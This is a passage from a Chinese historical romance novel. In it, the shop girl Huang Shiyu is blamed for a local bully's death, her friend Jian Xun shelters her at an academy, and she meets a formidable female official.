他“诶哟”一声,吓得黄时雨主仆三人连连后退,唯恐被讹上。 裴盛茫然地揉了揉,似乎又不痛了。 他复又追黄时雨,涎着脸调戏,“妹妹,咱俩相亲时候不是两情相悦的么,你家怎地又不愿意呢?” 呸,谁跟你两情相悦。黄时雨可没有自己是个娇滴滴姑娘家的意识,连简珣都敢打的她,招呼比简珣矮半个头的裴盛也不含糊。 “还敢动手动脚,信不信我阿爹明儿就写状子告你。”黄时雨狠狠踢了裴盛一脚。 裴盛吃痛地叫了声,黄时雨又给了他一拳,他忽然笑起来,给人一种他很享受的奇怪感觉,黄时雨微微发蒙。 琥珀连忙将她护在身后,赧然道:“他在占你便宜,二小姐你就别再骂他也别打他了……” 这厢瘫坐地上的丐婆,睁眼发现大家聚在门口推推搡搡,便拄着拐也凑过来,问:“你们在玩什么游戏,带我一个。” 裴盛满脸问号看向她。 黄时雨躲在琥珀身后有些后怕,“阿婆,你快去院子里躲躲吧。” 天菩萨保佑她可别再招惹裴盛了。 “滚啊,臭老太婆。”裴盛怒瞪喝骂,双手却一点儿也没闲着,推倒琥珀就要去抓黄时雨肩膀,忽然身子直挺挺一晃,喷出老大口血。 唬得满院子女眷尖叫连连。 那厢花掌柜听得下人通禀,马不停蹄地来到了后院,足足兵荒马乱了半炷香,又是掐人中又是灌热水,裴盛依然跟个死人似的,动也不动,探探心口,倒是还在跳,也有微弱的呼吸。 众人急成热锅上的蚂蚁,黄时雨脑子转得飞快,先安排一个小伙计报官,再请花掌柜出面晓之以情动之以理劝裴家随从将少爷抬回县里请医问药。 这里连个像样的医馆都没有,延误病情,谁也讨不着好。 随从一听确有道理,目下还是少爷的命最重要。 总算送走了这帮瘟神,黄时雨和琥珀长舒口气,尚才察觉两腿发软,齐齐瘫坐石阶。 丐婆竟无医自愈,当着众人的面爬起来,用袖子胡乱擦一把脸上的血,笑嘻嘻地挨在黄时雨附近席地而坐,嗑起了瓜子。 黄时雨脑仁子疼,语重心长道:“不是我说你老人家,何必呢,招谁不好偏偏惹他小霸王,但凡这里当场死个人,我们铺子也就完了。” 说罢,又有些于心不忍,“先别吃了,我让伙计送你去天水观包扎一下。” 丐婆连忙制止,说什么也不肯回天水观,就赖在铺子后院,讹了花婶两碗甜汤和一盘糕点。 瞧她那惊人的食欲,花婶用眼神告诉黄时雨:一时半会儿死不了,祸害遗千年。 吃饱喝足,丐婆拍拍手道:“我向来是个有分寸之人,放心吧,不会在你们铺子附近打死人的。” 有没有可能大家是觉得你会被打死。 众人沉默瞅着她。 丐婆偏头望向黄时雨,咧嘴一笑,“今儿我又帮了你,你可别令我失望哦。” 黄时雨“啊”了一声。 丐婆慵懒地闭目,回味道:“我喜欢看着他们家的人哪怕富贵无边、权势滔天,最后也只能享无边孤寂,可不许令我失望啊你。” “谁家?” 丐婆打起了呼噜。 花婶早就看不下去了,推搡她,“不准睡,吃完你就赶紧滚吧。” “滚就滚,嗐,那个小霸王过几天死家里应该碍不着你们铺子吧。”丐婆边走边说。 黄时雨道:“你最好祈祷他没事,真有个好歹县衙第一个抓的就是你。” 虽说丐婆被打的很惨,但裴盛也没少挨丐婆拳脚。 看不出来她这么能打。 “累了,正好进牢里歇歇。”丐婆疯言疯语。 好的不灵坏的灵,三日后裴盛竟真的死了。 五六个衙役将丐婆从天水观里叉出来,丐婆全程一动不动。 黄记铺子众人瑟瑟发抖,幸而黄秀才这两年水涨船高,有着小三元老师的头衔,乡里乡外算是个人物,衙役大老爷们并未多加为难,只来盘问一圈便扬长而去。 花娘子双手合十,连忙感谢神佛感谢青天大老爷们,可算送走瘟神丐婆。 黄时雨在门前踟蹰徘徊,终于鼓足了勇气喊停一众衙役,奉上三钱银子,说和道:“这位阿婆的脑筋中过恶,时常发病,现在重伤未愈恐已凶多吉少,还望各位大哥查明真相前莫再打她了。” 衙役笑眯眯看着黄时雨,三钱银子对受贿惯了的他们而言不够塞牙缝,但对小美人来说不少了,也不知积攒多久的脂粉钱,便网开一面应下,将丐婆丢车上,而不是半拖着。 银子他们也没收。 男人在美人跟前多半自发地体贴宽宥。 话说黄秀才也太会生了。 再说回日西时分的黄家,乱成一团。 自从七夕偶遇十五岁的少年郎简珣,黄晚晴就似变了一个人,连“阿娘”两个字也不想再喊,整日幽怨双眸含泪,认定爹娘偏心,利用她来搪塞李富贵这种乡下儿郎,好将姝色无双的梅娘献给名门公子攀高枝,一腔热血登时凉透。 黄太太有口难言,左右跳进黄河都洗不清的,想要解释原委吧忽然发现解释不得,女儿和儿子的前程孰轻孰重一眼分明,只能咽下苦水认栽。 她一径帕子捂脸擦泪,边哭边道:“晴娘呀,我可是你生身阿娘,从小到大什么好的不都先紧着你,更何况婚姻大事。” 黄晚晴躺在床上,不吃不喝,听见黄太太嚎立时翻过身,只偷偷抹泪半声不吭。 “你自己凭良心说,放眼泽禾有没有条件比李富贵更好的年轻人,这么好的人家还承诺不纳妾,身边也只有两个从小跟到大的通房丫鬟,打着灯笼去哪里找哟。” 黄太太越说越委屈,“为了你,我亏待你阿爹的原配嫡女,到今天他都不愿去我房里,我捞着个什么好呀,天爷呐,现在连亲生闺女也不理解,让我上下不是人。” 黄晚晴哽咽道:“梅娘都不要的亲事我也不要,我不管你们用什么法子,趁早推掉李家,不然我顷刻死过去给你们看。” “你这个孽障,生你还不如生个王八。”黄太太恨不能呕一口血出来,“什么叫梅娘不要,那哪里是她不想要,是我没舍得给她。你若是个没福的,就尽管作,作没了这桩婚事,往后再没有好的等着你。” 黄晚晴难过地闭上眼。 黄太太口干舌焦,估计说什么也白搭,便叮嘱下人看好三小姐,心灰意冷地离开了西厢房。 她走后,黄晚晴一个人缩在帐子里抱膝垂泪,不知不觉睡去,忽然听得一声温柔的“晴娘”,麻酥酥地令她红了脸,抬头一望,竟是简珣坐在床前,有些宠溺又有些无奈地打量她。 她不禁伸出手,任她急急地呼唤“简少爷”,却怎么也触不到,简珣俯身笑了笑。 黄晚晴满头大汗惊醒,想着梦里简珣深情的眼眸,不觉神思恍惚。 裴盛大闹甜水铺子那日,黄晚晴在自己内室悬梁自尽,当然死是不可能真死的,才系好白绫就被丫鬟婆子攥住脚踝,好多歹说劝下板凳。 气得黄太太险些犯了头风。 折腾近十来日,最终黄晚晴如愿解除了黄李两家的婚约。 早知如此,当初还不如成全了梅娘,算了,还是简少爷比较重要,成全不了一点。黄太太躺在床上喝药,对黄晚晴是又恨又爱。 第24章 盟约 黄太太为儿女操碎了心,黄晚晴寻死觅活思郎君,黄时雨却在甜水铺子恨不能把光阴掰成双份来用。 现今她已有了富户小姐的正常生活,两个丫鬟伺候,铺子上的人也不肯再让她搭手做工,每日足足省下四个时辰,尽情练字、读书、作画、术算,好不自由。 隔三差五再去华山长那里送趟餐。 相处近一年,对这位馋嘴山长的习性黄时雨略有了解,亲自动手换着花样地送。 馋嘴的华山长吃人嘴软,又舍不得借书册,那就授业解惑吧,不论黄时雨问什么,他都耐心一一作答,只一条规矩:仅允许双日在学馆里问且不得超过半个时辰。 如此意外之喜,生生乐坏了黄时雨。 并非简珣和金主不好,而是他们实在太年轻,黄时雨又长大了,再穿男装也扮不像,一男一女频繁独处迟早惹来旁人非议。 出伏那日华山长的小厮跑去铺子里递话,对琥珀一板一眼道:“先生命我来告知黄姐姐,明儿书院君子六艺中的驭马和箭术大考,届时学子们都不在舍馆和学馆,来来往往的汇聚竞场,难免会冲撞到姑娘家,所以请她莫要过来了,廿四再正常送餐即可。” 琥珀抓了把松子又裹了包点心给他磨牙,“好的,我会转告二小姐,辛苦你了。” 小厮开心地抱着零嘴儿,连声称谢,一口一个琥珀姐姐。 驭马、箭术大考只分等不分排名,甲乙丙丁四等,丁属不及格,面临补考,丙为中,乙良,甲优秀。 比起其他学子的严阵以待,书院的八个年轻人还在鞠城(注:足球场)挥汗如雨地奔跑,他们身手灵活,精力充沛,玩得也最凶,四个人一组,招式千变万化,想方设法将鞠送进对家的鞠室(注:球门)。 因为出入鞠城者皆为男子,大家便都褪去上衣,只着绫袴,宽松的裤腿掖进锦靴,一水儿的清澈少年,场面蔚为壮观。 各家小厮仆从都在为自己的主子呐喊助威。 鉴于简珣和韩意淮一组,就没人愿意参赛,那么只能让他俩归不到一处,大家方才玩得尽兴。 简珣和韩意淮本就功夫在身,手段灵活普通人难以企及,归在一处胜之不武,便自发配合了众人。 他们作为各自队伍的主力,不啻于全村的希望。 但见二人你来我往,难分伯仲。 韩意淮笑道:“我没那么不经碰,规则之内,你尽管出手,摔了伤了算我技不如人,与你无关。” 这话是对简珣说的,也扫了一眼自己的便衣亲卫,免得他们自作主张。 简珣拱手道:“那就请……思渊兄赐教。” 二人意气风发再次下场。 “敢不敢下注?”韩意淮扬了扬眉。 “什么注?” “你赢了,我抵一副《嵩山晴雨图》,我赢了么——下回我也要去砌园玩玩。”他讲话的时候完全不影响出手,左右假动作一个接一个。 “我做不得主。” “不用做主,做我拜访的理由就成,除了你,我谁也不认识,总不能说是拜访安国公的吧。” “行。” 韩意淮擅骑射但不擅近身搏斗,几番纠缠渐渐落于下风,不由心疼自己的《嵩山晴雨图》,他咬牙又坚持了几个回合,愣是将简珣那小子撞倒,未料他顺势滑行飞出,借力队友一个旋身疾翻单膝着地,左手稳稳接住了鞠。 本朝蹴鞠允许冲撞也可以用手,但不得以手攻击对家。 抢到了鞠,接下来可就太简单,简珣投鞠几乎百发百中的。 没有意外地稳稳降落鞠室。 福生福喜激动地跳起来欢呼,少爷好俊的身手! 其他人也跟着喝彩鼓掌。 韩意淮揉了揉手腕,现在也开始心疼自己的手了,这是用来画画的可不能受伤,忙道:“不打了不打了,《嵩山晴雨图》是你的。” 简珣抿了笑,低声道:“多谢殿下厚赏。” 韩意淮“啧”了一声,“这股狠劲真是一点都没变。” 他脸上并无任何不悦,是个输得起之人。 韩意淮记得小时候的简珣个头偏矮,有一回还被陈都尉家的傻小子当成小姑娘,不意简珣提拳就将比自己高了一个头的傻小子狠狠揍了一顿,自那之后再无人敢以玩笑之名拿他当女孩子。 都记着这小子打架又凶又狠。 现在不仅不矮,似乎还更狠了。 福生跳窜窜闪现在简珣面前,递上水囊,赞美不迭地同时还附带一则好消息,“黄二小姐送了您一本图册,说是她自己画的,当作上回册页的回礼。” 这确实是黄时雨的作风,简珣问:“她自己送的吗?” “琥珀姑娘送的,当时福喜在舍馆,便由他收着。” 简珣点点头,越来越懂规矩了,他既欣慰又失落,往后再见她一面可就略难。 韩意淮一直站在旁边,他们主仆聊天也未避人,所以全都传进了他耳中。 “黄时雨还会画画?”他大大方方地听,也坦然地问。 简珣目露诧异,但也很坦然的回道:“嗯,她很喜欢。” 韩意淮哦了声,兀自离开。 简珣的心里已经在悄悄开花。 原本以为梅娘会因他回避了娶她的问题而生气,少不得一番冷脸白眼,不理睬他,每每念及他就惴惴不安,也在想该如何圆回来哄她开心。 却不意她竟完全没放在心里,待他一如往昔。 从前回礼小瓷人、点心,现在是画册了。 她真是个快乐的好姑娘。 可不知为何,“劫后余生”的他渐渐有些怅然若失。 简珣回到舍馆迫不及待打开了梅娘的画册,线装地工工整整,内容着实给了他不小的惊讶与惊喜。 以他对梅娘的了解,画画这方领域全然无师自通,笔锋虽略显稚嫩,却将墨的五色运用地分外自如,浓淡相宜,可以说是灵气逼人。 她的画,如此有“韵”。 天赋绝非寻常之人。 简珣沐浴完就开始东翻西找,凭着记忆归寻了两本当世名家关于书画上的心得小札,全是他从阿娘那里借的孤本,再亲自誊抄的。 黄时雨正在天水观附近采摘野生山楂,忽觉心念一动,周围绿草如茵,低矮而匍匐着,旷野除了宽广的玉山湖面,仅这一株挂满红果果的树,盛在初秋的黄昏里,光影晃动,如梦似幻。 她以指为笔,比划着构图,就听福生欢快的一声“黄二小姐”,转身回眸便瞧见了白肤光洁到发光的简珣噙笑朝她走来。 琥珀防备地觑着简珣。 黄时雨却是一脸新奇,“你怎么有空出来闲逛呀?” 简珣温言缓语道:“你的画意神韵灵秀,比我有天赋,便想着这个对你兴许大有益处,早些交予你比较好。” 好高的评价! 他觉得她比他强欸! 这可是除了柳儿以外又一欣赏自己画作之人。 黄时雨心底暗暗雀跃,小心收下简珣送的小札,这么漂亮的字迹一看就是他誊抄的,却也弥足珍贵。 她何其幸运,总能轻而易举获得遥不可及之物,这本该是她永远接触不到的。 “还有这个。”简珣别在身后的手握着一把层层包裹的物件,惊喜似的在她脸前晃了晃。 黄时雨道:“这是……” “《嵩山晴雨图》。”简珣笑道。 黄时雨面色一变,“这……这种稀世的宝贝你怎地招摇过市拿出来,也不怕被坏人惦记上。” 闻韵致的《嵩山晴雨图》,沉迷画道的黄时雨如雷贯耳。 简珣未料她这般慎重,想了想道:“傻瓜,这是赝品。” 赝品啊……黄时雨松了一口气。 “虽是赝品不值什么,却也是我的心意,既拿出来相赠便是无价的,你可要好好珍惜,万不可送了旁人。”简珣悉心道。 黄时雨怔怔望着简珣,那些无缘亲近晴雨图的遗憾此时都平息了,即便赝品亦足够感动。 福生极有眼色地过去帮忙摘山楂。 琥珀没说什么,余光却不曾离开。 简少爷背对她,温声与二小姐说话,气氛相当地融洽。 二小姐柔和善良,天真且开朗,简少爷又如此迎合她,两人有种奇特地和谐。 黄时雨踌躇片刻,心道朋友之间不矜细行,便大方地应谢收下简珣的心意,并邀他前去观鱼。 天水观前有泉,泉水通往乱石堆砌的池塘,约莫一亩见方,清澈澄碧,池中养了近百条五色鲤鱼,乃观主夏初精心蓄养,聊做雅兴亦可吸引游人,为道观增加人气。 黄时雨掰碎一块糕点撒进去,顷刻间哗啦啦水声作响,五色鲤从四面八方汇集成团,须鳍翕动,徜徉盘旋,煞是好看。 “简允璋,你看。”黄时雨眸光潋滟,满以为潜心读书的简珣应当是没来过此地。 简珣确实没到过此地,却是见过鱼池的,京师自家府邸的比这里的还大,但他仍配合地欣赏着由她招来的锦鲤,“看到了,它们像你一样活泼可人,你会以此入画么?” 她的画册大到山水小到一株茉莉,却不见鱼虫之类的活物。 黄时雨蹙了蹙眉心,“活物太难了,我还没学会,再说它们也不肯乖乖坐下来给我画呀。” 简珣懂了,梅娘的动态观察力是短板,不过这些都是暂时的,天赋异禀的画师并不一定样样精通,专精一项也有名垂千古的。 “我教你吧,下回有什么疑惑便遣琥珀来问我。”他右手搭在朱红的栏杆上,一寸之外是她同样搭着的凝白小手。 “好呀。”黄时雨仰着脸笑道,“等我将来变成有名的画师,赚许多许多银子,定然少不了你好处。” 简珣点点头,“那我等着你的好处,苟富贵勿相忘。” “好!” “击拳盟约。” 黄时雨一点也不怂,当年闻韵致也落魄过,吃穿用度皆靠友人接济,飞黄腾达即与友人结成亲家,情谊为后世传颂,而今她也算微末之时,将来飞黄腾达不若也跟简珣结个亲家。 她攥拳在他大了一圈的拳上郑重轻碰。 轻到连丝儿响都没有,这是个怕痛的。 两人相视而笑。 简珣抚了抚手背,麻麻的,一直麻进了心间。 她可真美呀,仰着小脸全无防备对着他笑,也不怕他克制不住压过来亲一亲。 第25章 捉弄 那日简珣也只是这么想一想,乌亮的眸子始终笑意缠绵。 这哪里是个乖顺的,下手轻了按不住重了又哭闹,左右是个祖宗。 掌灯时分,黄时雨不惜点了一排儿臂粗的油蜡,耀得四下亮如白昼,细细品咂着闻韵致的晴雨图,不觉五内沸然炙起,即便没见过原画也深深嗟叹赝品之精绝。 私以为不论原画如何,这副赝品都算水平顶顶高妙之作。 不禁爱不释手。 这一夜她的梦都是甜甜的,坐在蜜桃味儿的云朵上飘飘然,扒着边沿往下瞅,山色空明,初晴万里,一目碧绿光润,竟是跑进了简珣送的《嵩山晴雨图》里。 次日天还没亮,衙门上的人已经领着三十匹马浩浩荡荡赶往书院。 骑射大考乃书院最为重要的考核之一,但马匹昂贵,加诸所需数量甚多,无论从哪个方面考虑,书院都不可能专门辟场地饲养,便上报朝廷最后由当地县衙负责此事。 直至日西时分,这群官吏方押送着马匹原路返回。 他们办完差事,三三两两聚集到甜水铺子果腹。 按说没有酒菜的甜水铺,怎么吃也不会过瘾,换个地方他们兴许瞧都不会瞧上一眼,无奈书院有酒色禁令,断绝当垆饭馆之类的营生,他们除去黄记别无选择,这才不得不来此将就一下。 后厨与大堂仅隔道靛蓝布帘,官吏扯着嗓门的交谈声穿透内外。 黄时雨无意中听了几耳朵——裴家小霸王原本就有心疾,猝亡乃与丐婆相搏激伤心脉所致,连京师的仵作都做了判,偏偏裴员外不认,三天两头往衙门呈冤讹闹不休。 “谁都知晓县丞乃他家女婿,拦且不敢拦,劝也劝不走,县老爷又一贯和稀泥的,受罪的只有哥几个,若非运送马匹,我怕是要被那小老儿抓挠死。” “丐婆不是已经认罪,他还想如何?” “他想路过的狗都得给他儿子陪葬呗。”说罢,那位通晓内情的胥吏左右张望,倾身压低了嗓门对同僚道,“小霸王的三个随从,昨晚有人瞧见了……从后门抬出了两个,扔去了乱葬岗。” 众人喟然色变,唏嘘不已。 一名面相老实的涨红了脸,呐呐道:“岂有此理,在县太爷眼皮底下草菅人命,他家还能通天不成……” 通晓内情的官吏一把捂住他的嘴,“确实能通天,裴家上头有正经亲戚。” 他指了指天。 原来上头有京官。 那可是京师天子脚下的官儿,众人闻言沉默,闷头吃食不再多语。 黄时雨琢磨着那句“路过的狗都得给他儿子陪葬”,颇有些惴惴然,福生就奉简珣之命来接她了。 “黄二小姐,请您随我去书院住几日,琥珀和柳儿亦可随同。”他人小说话却极其清楚,“这也是黄老爷的意思,如今他老人家还要在县里周旋,这才拜托了我家少爷,见着少爷,您自会明朗的。” 发生了什么大事? 琥珀很是迟疑,见黄时雨也是一头雾水,不过倒是应允了,便连忙前去内室收拾。 出门前黄时雨发现一名面容清俊做道士打扮的青年正立在门口与花家人说话。 福生道:“他是温良温大哥,正一派的道士,一直在少爷跟前效力,有他在,您放心跟我走吧。” 云里雾里的主仆三人上了马车。 福生驭马驾车,路上不忘安慰惶惶不解的黄时雨,“您别担心,少爷给您安排了女先生的西泉门,里面没有一个男子,很是安全,还留下个十岁的小子使唤,若有不便之处直接遣他去找少爷。” 那厢西泉门的女先生受简珣之托当即命人腾出干净敞亮的厢房。 “劳你们费心了……我家里是不是有什么事?”黄时雨心里直打鼓。 “没事的。”福生笑眯眯道。 简黄两家毗邻而居,那些人再猖狂也不至于在黄家门口撒野,一个不好惊扰简家有理也变无理。 穿过洗砚门往西下一段小坡,就瞧见了简珣。 他身上还穿着胡服,腕上的玄色束袖都未来得及拆下,显然大考结束就径直来此地等她。 马车越行越近,宽敞的青石板大路变成风雅的乱石幽径。 时下乱石讲究的就是乱和大小不一,宽窄曲折变化无常,不再适宜行车。 琥珀柳儿便随福生提着大包小包先行一步,前往舍馆。 黄时雨心神不宁,慢腾腾撩起帘子也随下车,不意尚未习惯长裙,踩着了裙角。 她抓着锦帘自行站稳,却被同时箭步上前的简珣揽住。 揽都揽了,简珣干脆将她抱了下来,面色如常。 黄时雨脚一沾地就从他怀里逃走,不过此时揪着不放反倒显得矫情且主次不分了。 她尽量肃然问:“我家发生了何事?” 简珣淡声道:“有人招供你七月十七殴打裴盛,乃间接致其暴毙的凶手之一,裴员外不仅大闹县衙,还声称要去京师告你。” 县令可以不给黄秀才面子但得给简家面子。 黄时雨乃简珣上了文书的贵妾,说什么也不能去抓她呀,但也不能眼看一无所知的裴员外胡来,于是早早通知了简珣和黄秀才。 黄秀才背靠简家完全不带怕的,但终究势单力薄,唯恐裴员外去铺子使坏,影响女儿家名誉,便马不停蹄派人通知简珣。 不论县令还是黄秀才遇事找的都是简珣而非简夫人。 皆因本朝男子年满十五即可承担一户之主职责,简夫人虽年长但是女子,夫死从子,算不得户主。 简珣甫一得了消息就将黄时雨接回身边。 这厢弄清前因后果,黄时雨惊愕之余,忿然不齿。 “无赖至极,贼喊捉贼,我还没告他们家裴盛调戏民女呢,况且是他动手动脚在先,浮言浪语的,难不成还要我任其轻薄!” 简珣眸色微凉,“那他确实该死。” 不愧是发小,天大的事也毅然决然站她。 黄时雨很是受用,继续对他道:“我就扑过他两扫帚,一点油皮也没擦破,是了,还踢一脚加一拳,那他也没哭呀,直冲我猥笑,哪里像是受了重伤。” 简珣挨过不少,自然知晓那是爽的。 他不悦道:“哪能用自己的手,怎不找个物件。” 黄时雨嘟囔道:“也不能用砖头吧,万一见了血我可真就去吃牢饭了。” 简珣下巴微扬,“那又如何,有什么你便用什么,死了我帮你兜着。” 黄时雨不意简珣这么豪横,甭管可不可行,入耳都很中听。 不过到底是人命关天的事,她颦蹙道:“他,真的是遭人殴打致死的吗?” “此事与你无关,别怕,你那点力气我心中有数。”简珣柔声安抚道,“裴员外攀咬不放多半是新仇旧恨,想要拖你为裴盛陪葬。” 先是被拒亲,后又在黄记铺子出事,且裴盛也是因为相思成疾才去的铺子,总之都与黄时雨脱不了干系,裴员外恨不能将她千刀万剐再填进儿子的棺材一起埋了。 “可是我走了,铺子其他人该怎么办?”黄时雨渐渐意识到事态的严重。 “没事的,有温良守着,明儿我再给京师送一封名帖,保准解决麻烦。” 简允璋的名帖这么管用?黄时雨疑惑地望着他。 瘦死的骆驼比马大,泽禾这片小地方的人顶破了天在简珣眼中也不若蝼蚁,那京官私下里见到他还要点头哈腰叫一声表叔的。 差着辈分呢。 此时的黄时雨对于简家仅有一个模糊的门第概念,完全意识不到风平浪静下的权势滔天。 一切源自百年世家的底气。 简珣轻轻刮了刮她小鼻子,“这是什么眼神,你不信我?” 她捂了鼻子,闷声道一句信的,又不虞道:“不许碰我鼻梁,会被压塌的。” 哪有不爱美的姑娘家。 简珣手劲大,纵使收着力气黄时雨也唯恐被他压塌了。 简珣忍俊不禁,“我瞧瞧塌没塌。”便捧了她小脸,轻轻一挤,那小脸就挤变了形。 黄时雨又气又恼,想骂人偏嘴巴合不上,发不出声儿,不用想也知有多滑稽。 简珣目光落在她花朵一样的红唇,粉色的舌尖,无师自通地就想去做些自己都觉得孟浪之事。 他神情逐渐变得微妙。 可她就要生气了,额头青筋一跳一跳的,简珣只好捺下跃跃欲试的念头,连忙松手,立即挨了她两拳。 他假作吃痛,以期她心理平衡。 黄时雨未料下手重到简珣面色发白,登时心虚不已,尚未洗淸殴打裴盛致死的嫌疑,又将简珣打出个好歹,那她可就板上钉钉的杀人凶手了。 “你,你没事儿吧?”她紧张地问。 “我没事,就是疼。”简珣蹙眉捂着手臂。 那就是有事了。 黄时雨支吾道:“谁让你先捉弄人的,我,这次我便不与你计较,你也休想赖我……” 简珣为难地点点头,见她气焰已消,忙又柔声絮语地哄了她半晌,总算令她展颜,乖乖随他往舍馆而行。 两人距西泉门尚有一射距离,迎面撞上了将将考完自竟场而归的韩意淮。 他抽到了靠后的签,苦苦熬到现在方解脱。 韩意淮“咦”了一声,爽朗道:“你怎么把邻家妹妹带这边来,今儿人来人往的。” 简珣道:“无妨,我们去西泉门,不走其他地方。” 韩意淮目光瞥向站在简珣身后半遮半掩的黄时雨,约莫明白二人有些首尾,暗笑什么邻家妹妹,分明是情妹妹,怨不得一个百般防着我,一个急于同我撇清关系,便道:“那成,回见。” 说罢目视前方地走了。 似乎有些不悦,又像是错觉。 第26章 女官 西泉门只住了一位女先生,年约四旬,乃书院的音律老师,为黄时雨准备的厢房共有三间屋子并两间耳房。 房中家具齐全,只欠缺些帷幔纱帐软枕坐褥,不过都无需她操心。 因简珣的丫鬟和小厮已先一步安排上了。 待琥珀等人赶到,眼前雪亮,但见满室窗明几净,正间的银制镂空小香炉子里正馨烟淡淡,馥郁相宜,左右一水儿整齐的绢纱茧绸帷幔、织锦软枕、翠纹坐褥。 琥珀面色微动,如此周全,不难看出悉心布置过。 她指点柳儿随自己归置二小姐惯用的物件儿。 素秋笑盈盈走来,手脚麻利地帮衬。 “正间茶桌上的一套甜白瓷是我家少爷专门为二小姐备下的,一次也未用过。”素秋柔声细语,末了又补一句,“这趟匆忙忙的,琥珀姐姐若是发现缺了短了什么只管吩咐福泽来我这里取。” 福泽是简珣留下的十岁小子,同柳儿差不多大。 琥珀连忙应谢,告罪道辛苦素秋妹妹。 屋子本就收拾妥当,又有素秋帮忙,余下的细致活柳儿也做不了,琥珀怜她年幼,便允她出去玩。 柳儿喜滋滋跑去了门口,同福泽玩抽陀螺。 福泽差几天就满十岁,身上挂着个婴戏纹的斜挎包,成年人巴掌大小,塞得鼓鼓囊囊,装满了零嘴儿。 他抓了一块松仁糖递给柳儿,柳儿怯生生接了,就不再认生,同他围着陀螺转。 时下家风好一些的大户人家对未成年的小厮丫头既严厉又优待,严厉在学习规矩上,优待在吃食用度上,以便他们长得健康皮实,减少病亡的发生。 福泽的零嘴许多是柳儿见都没见过的,味道之美都能把舌头吞下。 不过她一点也不羡慕,馋归馋,她还是最喜欢自己的二小姐。 因为二小姐待她好,且也会给她吃铺子里顶好的零嘴儿。 她把自己的糕点分了福泽一半,福泽开心地吃了。 这厢黄时雨在简珣地目送下,迈着轻盈步子往舍馆走去,柳儿一瞧见她立刻跑过去相迎,福泽也跟在后面。 也不是第一天知晓简珣身边的下人一个比一个好看,但福泽的模样还是令黄时雨暗暗地讶异。 一旁的素秋将黄时雨一闪而过的异色纳入眼中,柔声道:“少爷和夫人并非以貌取人之人,只是既遇上了才免不了发善心。” 解释地很委婉。 黄时雨似懂非懂,阅历丰富的琥珀则一点即透,只不过碍于人多并未好说什么,直等晚间仅剩主仆二人相对,才给黄时雨娓娓道出内情。 原来底层的孩子,似柳儿相貌不佳者反倒算另一种走运,而小福泽这样的基本活不到成年。 至于为何活不到成年,琥珀耻于开口,唯能尽量含蓄道:“不是所有大户人家都家风端正、清贵自持,总有那么一部分吃饱闲来无事……将主意打到小厮身上,尤其貌美雌雄难辨的。” 福泽便是这种长相。 若无简家将他买去,将来就不定要落在什么脏人手里,受尽折磨,极难长命的。 且福泽的价格相当昂贵,对于仅仅将他视作男仆的主家来说,无疑是亏的。 黄时雨总算听懂了八九分,并抓住了重点——美貌下人若未投靠好主家,大多生不如死,简珣买下他纯属善举。 与以貌取人无关。 她不禁为方才暗起的微许唏嘘生愧,又感叹简家家风之正。 次日黄时雨拜见了舍馆主人楼先生。 这位女先生不善言辞,显得有些沉默寡言,性格却是少有地坚毅,与丈夫感情不和便自请下堂立了女户,既不靠娘家也不靠夫家,独自养活自己十余年。 黄时雨从她身上瞧见了几分姐姐的影子,故而萌生亲切之意,专门多蒸了一份梅花糕,遣琥珀送了过去。 楼先生也回了她一篮子木樨花,香气袭人。 廿四那日,她便别了一朵楼先生送的木樨往华山长的学馆去了。 出院子之时恰好遇到了正在练八段锦的楼先生。 黄时雨清脆地打了声招呼,“楼先生早。”音色清透,尾音带着点少女特有的软糯。 楼先生目光落在黄时雨鬓间的花上,不由含了几分笑意,“早。” 这日还未踏进学馆就见华山长的小厮一溜小跑迎过来。 “黄姐姐,山长正在红檐亭子与友人用膳,点心给我吧,他老人家说——你若是放不下《文公散集》可自行去学馆等上片刻。” 黄时雨连忙道了句“好”,便与小厮作辞而去。 她独自在学馆里四处打量,面北朝南,十几张黑漆桌椅,擦得锃亮,东西两侧各开四扇大窗,窗下置一盆鲜花,竟无一雷同,淡淡的花香墨香若有似无地萦绕鼻端。 这样的房间光线通透,冬暖夏凉,年初才建好,简允璋就在这里念书。 视线穿过窗子就能望见红檐亭子里的华山长,以及穿了蜜合色对襟长衫的友人,长衫的下摆开叉露出了细密的裙裥,是华丽的暗绣百裥裙边。 这是一位相貌不俗的贵妇人。 年近七旬的华山长和三旬的贵妇,方才小厮怎么说来着,“与友人用膳”,这二人不论年纪、性别乃至身份……看起来都南辕北辙。 不过一想到自己与简珣……不也是看起来毫不相干,但就是朋友呀,黄时雨便理解了。 那贵妇长了一双犀利的丹凤眼,似能感应到什么,倏然转眸看向黄时雨的方向。 即便相隔甚远,黄时雨都被她的气势所摄,不由离开了窗沿,乖乖坐到了华山长座椅附近的圆杌子上。 不过只坐了一刻钟便被小厮请去红檐亭子。 距离一近,贵妇通身咄咄逼人的气势竟愈清晰。 在此之前,黄时雨仅从简珣那里体验过,但他素来让着她,偶尔凶恶,也只须臾,从未真正的去唬她。 贵妇则不同,打量她的眸光不怒自威,如刀片锋利。 且这种打量是自上而下又自下而上的,除了“威”再感受不到其他情绪。 华山长摸了摸稀疏的胡须,对友人道:“这便是那个会做糕点又爱书的小丫头,兰霜乳茶虽是假的,不过用料还算实诚,味道也真的很不错。” 黄时雨一阵冷汗,又羞又尬,原来不止金主一人知晓她家卖假茶。 可她也无奈得很,谁知道那兰霜究竟是个什么茶。 “黄二姑娘,这位是闻大人。”华山长含笑道。 一个女子被称为“大人”,也就是女官了,这涉及了黄时雨的盲区,对于“女官”这个词的具体概念一无所知,但反应不算慢,立即给闻大人板板正正地见礼,“见过闻大人。” 贵妇轻笑一声,抬手示意她不必多礼,与华山长顽笑道:“乡间野坊之物竟也能得你这么高评价,想来真有几分水平,不过,我若没记错,你统共也就喝过那么一次兰霜茶,还是一年前。” 华山长面色不虞,“说得好似你喝过很多次似的,哦,你确实经常喝,那也不算什么稀奇事儿,我若在画署三不五时进一趟永寿宫,也能喝!” 素来老成持重的华山长竟跟个孩子似的与人争长论短。 黄时雨看呆了。 这位闻大人见怪不怪,慵懒地拂了拂广袖,目光重新瞥向黄时雨,问了几个再寻常不过的问题,譬如今年几何,可识字,高堂贵姓。 黄时雨心神惊晃,面上却出奇地镇定,只揣着手和缓而清晰地一一作答。 当听见“母亲姓周”,闻大人眼底明显地闪过一线失望,赏了黄时雨一枚银质书签,客套地夸了句点心不错,便不再多说什么。 好精致的赏玩…… 黄时雨接过书签,再次施礼应谢。 这里便没有她什么事了,她知情识趣地告退,好在华山长没令她等太久,总算让她见到了阔别已久的《文公散集》。 黄时雨小声地问华山长:“听说兰霜茶乃洛南名茶,听您意思似乎又只在永寿宫,所以……能喝到这种茶的是不是都是进过宫的人?” 